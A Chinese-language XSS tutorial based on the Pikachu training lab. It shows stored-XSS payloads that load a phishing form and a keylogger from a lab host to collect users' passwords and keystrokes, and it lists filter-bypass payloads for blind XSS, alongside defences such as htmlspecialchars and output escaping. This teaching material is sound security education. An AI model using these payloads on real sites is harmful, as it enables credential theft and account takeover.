XSS危害-XSS进行钓鱼的原理和实验演示
原理这个例子使用了存储型xss
使用的payload为
<p>hello</p><script src="http://192.168.43.5/pikachu/pkxss/xfish/fish.php"></script>
当用户访问含有存储型XSS漏洞的页面时,页面就会请求文件http://192.168.43.5/pikachu/pkxss/xfish/fish.php,这个页面会提示用户输入用户名密码
其代码如下
pkxss后台xfish.php的代码
xfish.php
将这个url发送给目标就可以了
http://192.168.43.5/pikachu/vul/xss/xss_stored.php
后台就会得到用户的用户名和密码
pkxss后台
ⅩSS危害-ⅩSS获取键盘记录原理和实验演示
跨域
http://www.xyz.com:8080/script/test.js
协议://子域名.主域名:端口/资源地址
当协议、主机(主域名,子域名)、端口中的任意一个不相同时,称为不同域
我们把不同的域之间请求数据的操作,成为跨域操作。
同源策略
而为了安全考虑,所有的浏览器都约定了“同源策略”,同源策略规定,两个不同域名之间不能使用JS进行相互操作。比如:x.com域名下的 Javascript并不能操作y.com域下的对象。
如果想要跨域操作,则需要管理员进行特殊的配置
比如通过: header(" Access-Control-Aow- Origin:xcom")指定
Tips:下面这些标签跨域加载资源〔资源类型是有限制的)是不受同源策略限制的。
<script src="">//js,加载到本地执行
< img src="">/图片
<link href="">//css
< frame src="">/任意资源
同源策略是为隔离不同域的操作,可防止用户的敏感信息被窃取
获取键盘记录的js脚本
rk.js
接收键盘记录的php代码
rkserver.png
本例中使用存储型XSS作演示
使用的payload为
<p>hello</p><script src="http://192.168.43.5/pikachu/pkxss/rkeypress/rk.js"></script>
当用户访问页面 http://192.168.43.5/pikachu/vul/xss/xss_stored.php就会将其键盘操作记录下来,传到pkxss后台上
XSS盲打演示和原理分析
是一种XSS的应用场景
普通用户提交的payload不会返回到当前页面,会在后台管理员的页面上执行,来攻击管理员,属于一种存储型的XSS
比如一些用户反馈意见的页面
XSS的过滤和绕过(fter& htmlspecialchars)
过滤和转换
0,前端限制绕过,直接抓包重放,或者修改htm前端代码
1.,大小写,比如:< SCRIPT> aleRT(111)</ sCRIpt>
2, <scri<script>pt>alert(111)</scri</script>pt> 为了应对后台对<script>标签的替换
3,使用注释进行干扰:<scri<!--test-->pt> alert(11)-/sc<!--test-->ript>
编码
核心思路
后台过滤了特殊字符比如< script>标签但该标签可以被各种编码后台不一定会过滤
当浏览器对该编码进行识别时,会翻译成正常的标签,从而执行.
url编码 可参考https://www.w3school.com.cn/tags/html_ref_urlencode.html
html编码 可参考https://blog.csdn.net/snsHL9db69ccu1aIKl9r/article/details/100138220
XSS绕过的技巧有很多,取决于你的思路和对前端的掌握程度
pre_replace
htmlspecialchars函数把预定义的字符转换为HTML实体
用法 $str = htmlspecialchars(string,flags,character-set,double_encode);
可参考 https://baijiahao.baidu.com/s?id=1621553793329253809&wfr=spider&for=pc
被转换的预定义的字符有:
可用的引号类型:
ENT COMPAT-默认。仅编码双引号。
ENT_QUOTES编码双引号和单引号 建议使用
ENT_ NOQUOTES-不编码任何引号。
XSS常见防范措施
总的原则:输入做过滤,输出做转义
- 过滤:根据业务需求进行过滤,比如输入点要求输入手机号,则只允许输入手机号格式的数字
- 转义:所有输岀到前端的数据都根据输出点进行转义,比如输出到htm中进行htm实体转义,输入到js里
面的进行转义
XSS输出在hre案例分析
实例1这个例子保对输出作了转义,对输入没有作过滤,存在漏洞
注意a标签中的href属性中可以执行js脚本如
<a href='javascript:alert(111)'></a>
所以上例中的按需要对message进行过滤,只允许http/https开始的字符串,这样更加安全
XSS输出在js案例分析
后台代码 后台代码 动态生成js在这里由于前端输入的变量需要嵌入js代码中,需要使用js转义
js转义
尤其是单双引号的转义
网友评论